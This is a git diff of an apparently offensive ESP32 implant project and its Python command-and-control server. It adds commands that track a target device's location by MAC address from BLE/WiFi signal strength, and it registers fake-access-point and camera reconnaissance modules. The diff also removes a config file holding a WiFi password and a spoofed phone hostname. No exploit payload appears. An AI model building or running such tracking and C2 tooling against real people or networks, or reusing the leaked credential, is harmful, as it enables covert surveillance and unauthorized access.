/* Backward compat: mlat config <lat> <lon> -> GPS mode */
|
||||||
|
double lat = strtod(argv[0], NULL);
|
||||||
|
double lon = strtod(argv[1], NULL);
|
||||||
|
|
||||||
|
if (lat < -90.0 || lat > 90.0 || lon < -180.0 || lon > 180.0) {
|
||||||
|
msg_error(TAG, "invalid GPS coords (lat:-90~90, lon:-180~180)", req);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
coord_type = COORD_GPS;
|
||||||
|
scanner_lat = lat;
|
||||||
|
scanner_lon = lon;
|
||||||
|
mlat_configured = true;
|
||||||
|
|
||||||
|
snprintf(msg, sizeof(msg), "GPS position: (%.6f, %.6f)", lat, lon);
|
||||||
|
msg_info(TAG, msg, req);
|
||||||
|
ESP_LOGI(TAG, "configured GPS: lat=%.6f lon=%.6f", scanner_lat, scanner_lon);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
msg_error(TAG, "usage: mlat config [gps|local] <coord1> <coord2>", req);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* COMMAND: mlat mode <ble|wifi>
|
||||||
|
* ============================================================ */
|
||||||
|
static int cmd_mlat_mode(int argc, char **argv, const char *req, void *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
|
||||||
|
if (argc != 1) {
|
||||||
|
msg_error(TAG, "usage: mlat mode <ble|wifi>", req);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (mlat_running) {
|
||||||
|
msg_error(TAG, "stop scanning first", req);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char *mode_str = argv[0];
|
||||||
|
|
||||||
|
if (strcasecmp(mode_str, "ble") == 0) {
|
||||||
|
mlat_mode = MLAT_MODE_BLE;
|
||||||
|
}
|
||||||
|
else if (strcasecmp(mode_str, "wifi") == 0) {
|
||||||
|
mlat_mode = MLAT_MODE_WIFI;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
msg_error(TAG, "invalid mode (use: ble, wifi)", req);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
char msg[32];
|
||||||
|
snprintf(msg, sizeof(msg), "mode set to %s", mode_to_str(mlat_mode));
|
||||||
|
msg_info(TAG, msg, req);
|
||||||
|
|
||||||
|
ESP_LOGI(TAG, "mode changed to %s", mode_to_str(mlat_mode));
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* COMMAND: mlat start <mac>
|
||||||
|
* ============================================================ */
|
||||||
|
static int cmd_mlat_start(int argc, char **argv, const char *req, void *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
|
||||||
|
if (argc != 1) {
|
||||||
|
msg_error(TAG, "usage: mlat start <mac>", req);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (mlat_running) {
|
||||||
|
msg_error(TAG, "already running", req);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!mlat_configured) {
|
||||||
|
msg_error(TAG, "not configured - run 'mlat config [gps|local] <c1> <c2>' first", req);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Parse target MAC */
|
||||||
|
if (!parse_mac_str(argv[0], target_mac)) {
|
||||||
|
msg_error(TAG, "invalid MAC address", req);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
mac_to_str(target_mac, target_mac_str, sizeof(target_mac_str));
|
||||||
|
|
||||||
|
mlat_running = true;
|
||||||
|
|
||||||
|
if (!start_scanning()) {
|
||||||
|
mlat_running = false;
|
||||||
|
msg_error(TAG, "scan start failed", req);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
char msg[128];
|
||||||
|
if (coord_type == COORD_GPS) {
|
||||||
|
snprintf(msg, sizeof(msg), "scanning for %s at GPS(%.6f, %.6f) [%s]",
|
||||||
|
target_mac_str, scanner_lat, scanner_lon, mode_to_str(mlat_mode));
|
||||||
|
ESP_LOGI(TAG, "started: target=%s GPS=(%.6f,%.6f) mode=%s",
|
||||||
|
target_mac_str, scanner_lat, scanner_lon, mode_to_str(mlat_mode));
|
||||||
|
} else {
|
||||||
|
snprintf(msg, sizeof(msg), "scanning for %s at local(%.2f, %.2f)m [%s]",
|
||||||
|
target_mac_str, scanner_x, scanner_y, mode_to_str(mlat_mode));
|
||||||
|
ESP_LOGI(TAG, "started: target=%s local=(%.2f,%.2f)m mode=%s",
|
||||||
|
target_mac_str, scanner_x, scanner_y, mode_to_str(mlat_mode));
|
||||||
|
}
|
||||||
|
msg_info(TAG, msg, req);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* COMMAND: mlat stop
|
||||||
|
* ============================================================ */
|
||||||
|
static int cmd_mlat_stop(int argc, char **argv, const char *req, void *ctx)
|
||||||
|
{
|
||||||
|
(void)argc;
|
||||||
|
(void)argv;
|
||||||
|
(void)ctx;
|
||||||
|
|
||||||
|
if (!mlat_running) {
|
||||||
|
msg_error(TAG, "not running", req);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
mlat_running = false;
|
||||||
|
stop_scanning();
|
||||||
|
|
||||||
|
msg_info(TAG, "stopped", req);
|
||||||
|
ESP_LOGI(TAG, "stopped");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* COMMAND: mlat status
|
||||||
|
* ============================================================ */
|
||||||
|
static int cmd_mlat_status(int argc, char **argv, const char *req, void *ctx)
|
||||||
|
{
|
||||||
|
(void)argc;
|
||||||
|
(void)argv;
|
||||||
|
(void)ctx;
|
||||||
|
|
||||||
|
char msg[180];
|
||||||
|
const char *coord_str = (coord_type == COORD_GPS) ? "GPS" : "Local";
|
||||||
|
|
||||||
|
if (!mlat_configured) {
|
||||||
|
snprintf(msg, sizeof(msg), "not configured | mode=%s", mode_to_str(mlat_mode));
|
||||||
|
msg_info(TAG, msg, req);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Format position based on coord type */
|
||||||
|
char pos_str[60];
|
||||||
|
if (coord_type == COORD_GPS) {
|
||||||
|
snprintf(pos_str, sizeof(pos_str), "GPS=(%.6f,%.6f)", scanner_lat, scanner_lon);
|
||||||
|
} else {
|
||||||
|
snprintf(pos_str, sizeof(pos_str), "local=(%.2f,%.2f)m", scanner_x, scanner_y);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (mlat_running) {
|
||||||
|
int8_t avg = get_average_rssi();
|
||||||
|
if (mlat_mode == MLAT_MODE_WIFI) {
|
||||||
|
snprintf(msg, sizeof(msg),
|
||||||
|
"running [%s] | %s | target=%s | rssi=%d (%d) | ch=%d",
|
||||||
|
mode_to_str(mlat_mode), pos_str,
|
||||||
|
target_mac_str, avg, rssi_count, current_channel);
|
||||||
|
} else {
|
||||||
|
snprintf(msg, sizeof(msg),
|
||||||
|
"running [%s] | %s | target=%s | rssi=%d (%d samples)",
|
||||||
|
mode_to_str(mlat_mode), pos_str,
|
||||||
|
target_mac_str, avg, rssi_count);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
snprintf(msg, sizeof(msg),
|
||||||
|
"stopped | mode=%s | %s",
|
||||||
|
mode_to_str(mlat_mode), pos_str);
|
||||||
|
}
|
||||||
|
|
||||||
|
msg_info(TAG, msg, req);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* COMMAND DEFINITIONS
|
||||||
|
* ============================================================ */
|
||||||
|
static const command_t cmd_mlat_config_def = {
|
||||||
|
.name = "mlat",
|
||||||
|
.sub = "config",
|
||||||
|
.help = "Set position: mlat config [gps|local] <c1> <c2>",
|
||||||
|
.handler = cmd_mlat_config,
|
||||||
|
.ctx = NULL,
|
||||||
|
.async = false,
|
||||||
|
.min_args = 2,
|
||||||
|
.max_args = 3
|
||||||
|
};
|
||||||
|
|
||||||
|
static const command_t cmd_mlat_mode_def = {
|
||||||
|
.name = "mlat",
|
||||||
|
.sub = "mode",
|
||||||
|
.help = "Set scan mode: mlat mode <ble|wifi>",
|
||||||
|
.handler = cmd_mlat_mode,
|
||||||
|
.ctx = NULL,
|
||||||
|
.async = false,
|
||||||
|
.min_args = 1,
|
||||||
|
.max_args = 1
|
||||||
|
};
|
||||||
|
|
||||||
|
static const command_t cmd_mlat_start_def = {
|
||||||
|
.name = "mlat",
|
||||||
|
.sub = "start",
|
||||||
|
.help = "Start scanning: mlat start <mac>",
|
||||||
|
.handler = cmd_mlat_start,
|
||||||
|
.ctx = NULL,
|
||||||
|
.async = false,
|
||||||
|
.min_args = 1,
|
||||||
|
.max_args = 1
|
||||||
|
};
|
||||||
|
|
||||||
|
static const command_t cmd_mlat_stop_def = {
|
||||||
|
.name = "mlat",
|
||||||
|
.sub = "stop",
|
||||||
|
.help = "Stop scanning",
|
||||||
|
.handler = cmd_mlat_stop,
|
||||||
|
.ctx = NULL,
|
||||||
|
.async = false,
|
||||||
|
.min_args = 0,
|
||||||
|
.max_args = 0
|
||||||
|
};
|
||||||
|
|
||||||
|
static const command_t cmd_mlat_status_def = {
|
||||||
|
.name = "mlat",
|
||||||
|
.sub = "status",
|
||||||
|
.help = "Show MLAT status",
|
||||||
|
.handler = cmd_mlat_status,
|
||||||
|
.ctx = NULL,
|
||||||
|
.async = false,
|
||||||
|
.min_args = 0,
|
||||||
|
.max_args = 0
|
||||||
|
};
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* REGISTER
|
||||||
|
* ============================================================ */
|
||||||
|
void mod_mlat_register_commands(void)
|
||||||
|
{
|
||||||
|
command_register(&cmd_mlat_config_def);
|
||||||
|
command_register(&cmd_mlat_mode_def);
|
||||||
|
command_register(&cmd_mlat_start_def);
|
||||||
|
command_register(&cmd_mlat_stop_def);
|
||||||
|
command_register(&cmd_mlat_status_def);
|
||||||
|
ESP_LOGI(TAG, "commands registered (BLE+WiFi)");
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* CONFIG_RECON_MODE_MLAT */
|
||||||
@ -98,18 +98,79 @@ static int cmd_system_uptime(
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* COMMAND: system_info
|
||||||
|
* ============================================================ */
|
||||||
|
static int cmd_system_info(
|
||||||
|
int argc,
|
||||||
|
char **argv,
|
||||||
|
const char *req,
|
||||||
|
void *ctx
|
||||||
|
) {
|
||||||
|
(void)argc;
|
||||||
|
(void)argv;
|
||||||
|
(void)ctx;
|
||||||
|
|
||||||
|
esp_chip_info_t chip_info;
|
||||||
|
esp_chip_info(&chip_info);
|
||||||
|
|
||||||
|
uint32_t heap_free = esp_get_free_heap_size();
|
||||||
|
uint64_t uptime_sec = esp_timer_get_time() / 1000000ULL;
|
||||||
|
|
||||||
|
char buf[512];
|
||||||
|
int len = 0;
|
||||||
|
|
||||||
|
len += snprintf(buf + len, sizeof(buf) - len,
|
||||||
|
"chip=%s cores=%d flash=%s heap=%"PRIu32" uptime=%llus modules=",
|
||||||
|
CONFIG_IDF_TARGET,
|
||||||
|
chip_info.cores,
|
||||||
|
(chip_info.features & CHIP_FEATURE_EMB_FLASH) ? "embedded" : "external",
|
||||||
|
heap_free,
|
||||||
|
(unsigned long long)uptime_sec
|
||||||
|
);
|
||||||
|
|
||||||
|
// List loaded modules
|
||||||
|
int first = 1;
|
||||||
|
#ifdef CONFIG_MODULE_NETWORK
|
||||||
|
len += snprintf(buf + len, sizeof(buf) - len, "%snetwork", first ? "" : ",");
|
||||||
|
first = 0;
|
||||||
|
#endif
|
||||||
|
#ifdef CONFIG_MODULE_FAKEAP
|
||||||
|
len += snprintf(buf + len, sizeof(buf) - len, "%sfakeap", first ? "" : ",");
|
||||||
|
first = 0;
|
||||||
|
#endif
|
||||||
|
#ifdef CONFIG_MODULE_RECON
|
||||||
|
#ifdef CONFIG_RECON_MODE_CAMERA
|
||||||
|
len += snprintf(buf + len, sizeof(buf) - len, "%scamera", first ? "" : ",");
|
||||||
|
first = 0;
|
||||||
|
#endif
|
||||||
|
#ifdef CONFIG_RECON_MODE_MLAT
|
||||||
|
len += snprintf(buf + len, sizeof(buf) - len, "%smlat", first ? "" : ",");
|
||||||
|
first = 0;
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
if (first) {
|
||||||
|
len += snprintf(buf + len, sizeof(buf) - len, "none");
|
||||||
|
}
|
||||||
|
|
||||||
|
msg_info(TAG, buf, req);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
/* ============================================================
|
/* ============================================================
|
||||||
* COMMAND REGISTRATION
|
* COMMAND REGISTRATION
|
||||||
* ============================================================ */
|
* ============================================================ */
|
||||||
static const command_t system_cmds[] = {
|
static const command_t system_cmds[] = {
|
||||||
{ "system_reboot", 0, 0, cmd_system_reboot, NULL, false },
|
{ "system_reboot", 0, 0, cmd_system_reboot, NULL, false },
|
||||||
{ "system_mem", 0, 0, cmd_system_mem, NULL, false },
|
{ "system_mem", 0, 0, cmd_system_mem, NULL, false },
|
||||||
{ "system_uptime", 0, 0, cmd_system_uptime, NULL, false }
|
{ "system_uptime", 0, 0, cmd_system_uptime, NULL, false },
|
||||||
|
{ "system_info", 0, 0, cmd_system_info, NULL, false }
|
||||||
};
|
};
|
||||||
|
|
||||||
void mod_system_register_commands(void)
|
void mod_system_register_commands(void)
|
||||||
{
|
{
|
||||||
ESP_LOGI(TAG, "Registering system commands");
|
ESPILON_LOGI_PURPLE(TAG, "Registering system commands");
|
||||||
|
|
||||||
for (size_t i = 0; i < sizeof(system_cmds)/sizeof(system_cmds[0]); i++) {
|
for (size_t i = 0; i < sizeof(system_cmds)/sizeof(system_cmds[0]); i++) {
|
||||||
command_register(&system_cmds[i]);
|
command_register(&system_cmds[i]);
|
||||||
|
|||||||
@ -102,9 +102,12 @@ config RECON_MODE_CAMERA
|
|||||||
bool "Enable Camera Reconnaissance"
|
bool "Enable Camera Reconnaissance"
|
||||||
default n
|
default n
|
||||||
|
|
||||||
config RECON_MODE_BLE_TRILAT
|
config RECON_MODE_MLAT
|
||||||
bool "Enable BLE Trilateration Reconnaissance"
|
bool "Enable MLAT (Multilateration) Module"
|
||||||
default n
|
default n
|
||||||
|
help
|
||||||
|
Enable multilateration positioning using RSSI measurements.
|
||||||
|
Mode (BLE or WiFi) is selected at runtime from C2.
|
||||||
|
|
||||||
endmenu
|
endmenu
|
||||||
|
|
||||||
@ -123,4 +126,52 @@ config CRYPTO_NONCE
|
|||||||
|
|
||||||
endmenu
|
endmenu
|
||||||
|
|
||||||
|
################################################
|
||||||
|
# Logging
|
||||||
|
################################################
|
||||||
|
menu "Logging"
|
||||||
|
|
||||||
|
choice ESPILON_LOG_LEVEL
|
||||||
|
prompt "Default log level"
|
||||||
|
default ESPILON_LOG_LEVEL_INFO
|
||||||
|
|
||||||
|
config ESPILON_LOG_LEVEL_ERROR
|
||||||
|
bool "Error"
|
||||||
|
|
||||||
|
config ESPILON_LOG_LEVEL_WARN
|
||||||
|
bool "Warn"
|
||||||
|
|
||||||
|
config ESPILON_LOG_LEVEL_INFO
|
||||||
|
bool "Info"
|
||||||
|
|
||||||
|
config ESPILON_LOG_LEVEL_DEBUG
|
||||||
|
bool "Debug"
|
||||||
|
|
||||||
|
config ESPILON_LOG_LEVEL_VERBOSE
|
||||||
|
bool "Verbose"
|
||||||
|
|
||||||
|
endchoice
|
||||||
|
|
||||||
|
config ESPILON_LOG_CMD_REG_VERBOSE
|
||||||
|
bool "Verbose command registration logs"
|
||||||
|
default n
|
||||||
|
help
|
||||||
|
If enabled, log each command registration.
|
||||||
|
Otherwise, a single summary line is printed.
|
||||||
|
|
||||||
|
config ESPILON_LOG_C2_VERBOSE
|
||||||
|
bool "Verbose C2 command logs"
|
||||||
|
default n
|
||||||
|
help
|
||||||
|
If enabled, print the full C2 command block
|
||||||
|
(name, argc, request id, args).
|
||||||
|
|
||||||
|
config ESPILON_LOG_BOOT_SUMMARY
|
||||||
|
bool "Show boot summary header"
|
||||||
|
default y
|
||||||
|
help
|
||||||
|
Print a BOOT SUMMARY header at startup.
|
||||||
|
|
||||||
|
endmenu
|
||||||
|
|
||||||
endmenu
|
endmenu
|
||||||
|
|||||||
@ -12,8 +12,46 @@
|
|||||||
#include "command.h"
|
#include "command.h"
|
||||||
#include "cmd_system.h"
|
#include "cmd_system.h"
|
||||||
|
|
||||||
|
/* Module headers */
|
||||||
|
#ifdef CONFIG_MODULE_NETWORK
|
||||||
|
#include "cmd_network.h"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef CONFIG_MODULE_FAKEAP
|
||||||
|
#include "cmd_fakeAP.h"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef CONFIG_MODULE_RECON
|
||||||
|
#include "cmd_recon.h"
|
||||||
|
#endif
|
||||||
|
|
||||||
static const char *TAG = "MAIN";
|
static const char *TAG = "MAIN";
|
||||||
|
|
||||||
|
static esp_log_level_t espilon_log_level_from_kconfig(void)
|
||||||
|
{
|
||||||
|
#if defined(CONFIG_ESPILON_LOG_LEVEL_ERROR)
|
||||||
|
return ESP_LOG_ERROR;
|
||||||
|
#elif defined(CONFIG_ESPILON_LOG_LEVEL_WARN)
|
||||||
|
return ESP_LOG_WARN;
|
||||||
|
#elif defined(CONFIG_ESPILON_LOG_LEVEL_INFO)
|
||||||
|
return ESP_LOG_INFO;
|
||||||
|
#elif defined(CONFIG_ESPILON_LOG_LEVEL_DEBUG)
|
||||||
|
return ESP_LOG_DEBUG;
|
||||||
|
#elif defined(CONFIG_ESPILON_LOG_LEVEL_VERBOSE)
|
||||||
|
return ESP_LOG_VERBOSE;
|
||||||
|
#else
|
||||||
|
return ESP_LOG_INFO;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
static void espilon_log_init(void)
|
||||||
|
{
|
||||||
|
esp_log_level_set("*", espilon_log_level_from_kconfig());
|
||||||
|
#ifdef CONFIG_ESPILON_LOG_BOOT_SUMMARY
|
||||||
|
ESPILON_LOGI_PURPLE(TAG, "===== BOOT SUMMARY =====");
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
static void init_nvs(void)
|
static void init_nvs(void)
|
||||||
{
|
{
|
||||||
esp_err_t ret = nvs_flash_init();
|
esp_err_t ret = nvs_flash_init();
|
||||||
@ -27,10 +65,10 @@ static void init_nvs(void)
|
|||||||
|
|
||||||
void app_main(void)
|
void app_main(void)
|
||||||
{
|
{
|
||||||
|
espilon_log_init();
|
||||||
ESP_LOGI(TAG, "Booting system");
|
ESP_LOGI(TAG, "Booting system");
|
||||||
|
|
||||||
init_nvs();
|
init_nvs();
|
||||||
vTaskDelay(pdMS_TO_TICKS(1200));
|
|
||||||
|
|
||||||
/* =====================================================
|
/* =====================================================
|
||||||
* Command system
|
* Command system
|
||||||
@ -39,26 +77,34 @@ void app_main(void)
|
|||||||
command_async_init(); // Async worker (Core 1)
|
command_async_init(); // Async worker (Core 1)
|
||||||
mod_system_register_commands();
|
mod_system_register_commands();
|
||||||
|
|
||||||
|
/* Register enabled modules */
|
||||||
#ifdef CONFIG_MODULE_NETWORK
|
#ifdef CONFIG_MODULE_NETWORK
|
||||||
#include "cmd_network.h"
|
|
||||||
mod_network_register_commands();
|
mod_network_register_commands();
|
||||||
|
ESPILON_LOGI_PURPLE(TAG, "Network module loaded");
|
||||||
|
#endif
|
||||||
|
|
||||||
#elif defined(CONFIG_MODULE_FAKEAP)
|
#ifdef CONFIG_MODULE_FAKEAP
|
||||||
#include "cmd_fakeAP.h"
|
|
||||||
mod_fakeap_register_commands();
|
mod_fakeap_register_commands();
|
||||||
|
ESPILON_LOGI_PURPLE(TAG, "FakeAP module loaded");
|
||||||
|
#endif
|
||||||
|
|
||||||
#elif defined(CONFIG_MODULE_RECON)
|
#ifdef CONFIG_MODULE_RECON
|
||||||
#include "cmd_recon.h"
|
|
||||||
#ifdef CONFIG_RECON_MODE_CAMERA
|
#ifdef CONFIG_RECON_MODE_CAMERA
|
||||||
mod_camera_register_commands();
|
mod_camera_register_commands();
|
||||||
#elif defined(CONFIG_RECON_MODE_BLE_TRILAT)
|
ESPILON_LOGI_PURPLE(TAG, "Camera module loaded");
|
||||||
mod_ble_trilat_register_commands();
|
#endif
|
||||||
|
#ifdef CONFIG_RECON_MODE_MLAT
|
||||||
|
mod_mlat_register_commands();
|
||||||
|
ESPILON_LOGI_PURPLE(TAG, "MLAT module loaded");
|
||||||
#endif
|
#endif
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
command_log_registry_summary();
|
||||||
|
|
||||||
/* =====================================================
|
/* =====================================================
|
||||||
* Network backend
|
* Network backend
|
||||||
* ===================================================== */
|
* ===================================================== */
|
||||||
|
vTaskDelay(pdMS_TO_TICKS(1200));
|
||||||
if (!com_init()) {
|
if (!com_init()) {
|
||||||
ESP_LOGE(TAG, "Network backend init failed");
|
ESP_LOGE(TAG, "Network backend init failed");
|
||||||
return;
|
return;
|
||||||
|
|||||||
@ -1,16 +0,0 @@
|
|||||||
CONFIG_ID="f34592e0"
|
|
||||||
CONFIG_WIFI_SSID="Livebox-CC80"
|
|
||||||
CONFIG_WIFI_PASS="PqKXRmcprmeWChcfQD"
|
|
||||||
CONFIG_SERVER_IP="192.168.1.13"
|
|
||||||
CONFIG_SERVER_PORT=2626
|
|
||||||
CONFIG_MBEDTLS_CHACHA20_C=y
|
|
||||||
CONFIG_LWIP_IPV4_NAPT=y
|
|
||||||
CONFIG_LWIP_IPV4_NAPT_PORTMAP=y
|
|
||||||
CONFIG_LWIP_IP_FORWARD=y
|
|
||||||
CONFIG_LWIP_LOCAL_HOSTNAME="pixel-8-pro"
|
|
||||||
CONFIG_ENABLE_CAMERA=n
|
|
||||||
|
|
||||||
# Bluetooth configuration
|
|
||||||
CONFIG_BT_ENABLED=y
|
|
||||||
CONFIG_BT_BLUEDROID_ENABLED=y
|
|
||||||
CONFIG_BT_BLE_ENABLED=y
|
|
||||||
47
tools/c2/.env.example
Normal file
47
tools/c2/.env.example
Normal file
@ -0,0 +1,47 @@
|
|||||||
|
# ESPILON C2 Configuration
|
||||||
|
# Copy this file to .env and adjust values
|
||||||
|
|
||||||
|
# ===================
|
||||||
|
# C2 Server
|
||||||
|
# ===================
|
||||||
|
C2_HOST=0.0.0.0
|
||||||
|
C2_PORT=2626
|
||||||
|
|
||||||
|
# ===================
|
||||||
|
# Camera Server
|
||||||
|
# ===================
|
||||||
|
# UDP receiver for camera frames
|
||||||
|
UDP_HOST=0.0.0.0
|
||||||
|
UDP_PORT=5000
|
||||||
|
UDP_BUFFER_SIZE=65535
|
||||||
|
|
||||||
|
# Web server for viewing streams
|
||||||
|
WEB_HOST=0.0.0.0
|
||||||
|
WEB_PORT=8000
|
||||||
|
|
||||||
|
# ===================
|
||||||
|
# Security
|
||||||
|
# ===================
|
||||||
|
# Token for authenticating camera frames (must match ESP firmware)
|
||||||
|
CAMERA_SECRET_TOKEN=Sup3rS3cretT0k3n
|
||||||
|
|
||||||
|
# Flask session secret (change in production!)
|
||||||
|
FLASK_SECRET_KEY=change_this_for_prod
|
||||||
|
|
||||||
|
# Web interface credentials
|
||||||
|
WEB_USERNAME=admin
|
||||||
|
WEB_PASSWORD=admin
|
||||||
|
|
||||||
|
# ===================
|
||||||
|
# Storage
|
||||||
|
# ===================
|
||||||
|
# Directory for camera frame storage (relative to c2 root)
|
||||||
|
IMAGE_DIR=static/streams
|
||||||
|
|
||||||
|
# ===================
|
||||||
|
# Video Recording
|
||||||
|
# ===================
|
||||||
|
VIDEO_ENABLED=true
|
||||||
|
VIDEO_PATH=static/streams/record.avi
|
||||||
|
VIDEO_FPS=10
|
||||||
|
VIDEO_CODEC=MJPG
|
||||||
100
tools/c2/c3po.py
100
tools/c2/c3po.py
@ -3,22 +3,24 @@ import socket
|
|||||||
import threading
|
import threading
|
||||||
import re
|
import re
|
||||||
import sys
|
import sys
|
||||||
|
import time
|
||||||
|
import argparse
|
||||||
|
|
||||||
from core.registry import DeviceRegistry
|
from core.registry import DeviceRegistry
|
||||||
from core.transport import Transport
|
from core.transport import Transport
|
||||||
from logs.manager import LogManager
|
from log.manager import LogManager
|
||||||
from cli.cli import CLI
|
from cli.cli import CLI
|
||||||
from commands.registry import CommandRegistry
|
from commands.registry import CommandRegistry
|
||||||
from commands.reboot import RebootCommand
|
from commands.reboot import RebootCommand
|
||||||
from core.groups import GroupRegistry
|
from core.groups import GroupRegistry
|
||||||
from utils.constant import HOST, PORT
|
from utils.constant import HOST, PORT
|
||||||
from utils.display import Display # Import Display utility
|
from utils.display import Display
|
||||||
|
|
||||||
# Strict base64 validation (ESP sends BASE64 + '\n')
|
# Strict base64 validation (ESP sends BASE64 + '\n')
|
||||||
BASE64_RE = re.compile(br'^[A-Za-z0-9+/=]+$')
|
BASE64_RE = re.compile(br'^[A-Za-z0-9+/=]+$')
|
||||||
|
|
||||||
RX_BUF_SIZE = 4096
|
RX_BUF_SIZE = 4096
|
||||||
DEVICE_TIMEOUT_SECONDS = 60 # Devices are considered inactive after 60 seconds without a heartbeat
|
DEVICE_TIMEOUT_SECONDS = 300 # Devices are considered inactive after 5 minutes without a heartbeat
|
||||||
HEARTBEAT_CHECK_INTERVAL = 10 # Check every 10 seconds
|
HEARTBEAT_CHECK_INTERVAL = 10 # Check every 10 seconds
|
||||||
|
|
||||||
|
|
||||||
@ -81,34 +83,27 @@ def client_thread(sock: socket.socket, addr, transport: Transport, registry: Dev
|
|||||||
# Main server
|
# Main server
|
||||||
# ============================================================
|
# ============================================================
|
||||||
def main():
|
def main():
|
||||||
|
# Parse arguments
|
||||||
|
parser = argparse.ArgumentParser(description="C3PO - ESPILON C2 Framework")
|
||||||
|
parser.add_argument("--tui", action="store_true", help="Launch with TUI interface")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
header = """
|
header = """
|
||||||
|
$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\\
|
||||||
$$$$$$$\ $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\
|
$$ __$$\\ $$ ___$$\\ $$ __$$\\ $$ __$$\\
|
||||||
|
$$ / \\__|\_/ $$ |$$ | $$ |$$ / $$ |
|
||||||
$$$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$\
|
|
||||||
$$ _____|$$ __$$\ $$ __$$\\_$$ _|$$ | $$ __$$\ $$$\ $$ | $$ __$$\ $$ __$$\
|
|
||||||
$$ | $$ / \__|$$ | $$ | $$ | $$ | $$ / $$ |$$$$\ $$ | $$ / \__|\__/ $$ |
|
|
||||||
$$$$$\ \$$$$$$\ $$$$$$$ | $$ | $$ | $$ | $$ |$$ $$\$$ | $$ | $$$$$$ |
|
|
||||||
$$ __| \____$$\ $$ ____/ $$ | $$ | $$ | $$ |$$ \$$$$ | $$ | $$ ____/
|
|
||||||
$$ | $$\ $$ |$$ | $$ | $$ | $$ | $$ |$$ |\$$$ | $$ | $$\ $$ |
|
|
||||||
$$$$$$$$\ \$$$$$$ |$$ | $$$$$$\ $$$$$$$$\ $$$$$$ |$$ | \$$ | \$$$$$$ |$$$$$$$$\
|
|
||||||
\________| \______/ \__| \______|\________|\______/ \__| \__| \______/ \________|
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\
|
|
||||||
$$ __$$\ $$ ___$$\ $$ __$$\ $$ __$$\
|
|
||||||
$$ / \__|\_/ $$ |$$ | $$ |$$ / $$ |
|
|
||||||
$$ | $$$$$ / $$$$$$$ |$$ | $$ |
|
$$ | $$$$$ / $$$$$$$ |$$ | $$ |
|
||||||
$$ | \___$$\ $$ ____/ $$ | $$ |
|
$$ | \\___$$\\ $$ ____/ $$ | $$ |
|
||||||
$$ | $$\ $$\ $$ |$$ | $$ | $$ |
|
$$ | $$\\ $$\\ $$ |$$ | $$ | $$ |
|
||||||
\$$$$$$ |\$$$$$$ |$$ | $$$$$$ |
|
\\$$$$$$ |\\$$$$$$ |$$ | $$$$$$ |
|
||||||
\______/ \______/ \__| \______/
|
\\______/ \\______/ \\__| \\______/
|
||||||
|
|
||||||
ESPILON C2 Framework - Command and Control Server
|
ESPILON C2 Framework - Command and Control Server
|
||||||
"""
|
"""
|
||||||
Display.system_message(header)
|
|
||||||
Display.system_message("Initializing ESPILON C2 core...")
|
if not args.tui:
|
||||||
|
Display.system_message(header)
|
||||||
|
Display.system_message("Initializing ESPILON C2 core...")
|
||||||
|
|
||||||
# ============================
|
# ============================
|
||||||
# Core components
|
# Core components
|
||||||
@ -143,7 +138,9 @@ $$ | $$\ $$\ $$ |$$ | $$ | $$ |
|
|||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
server.listen()
|
server.listen()
|
||||||
Display.system_message(f"Server listening on {HOST}:{PORT}")
|
|
||||||
|
if not args.tui:
|
||||||
|
Display.system_message(f"Server listening on {HOST}:{PORT}")
|
||||||
|
|
||||||
# Function to periodically check device status
|
# Function to periodically check device status
|
||||||
def device_status_checker():
|
def device_status_checker():
|
||||||
@ -155,30 +152,51 @@ $$ | $$\ $$\ $$ |$$ | $$ | $$ |
|
|||||||
device.status = "Inactive"
|
device.status = "Inactive"
|
||||||
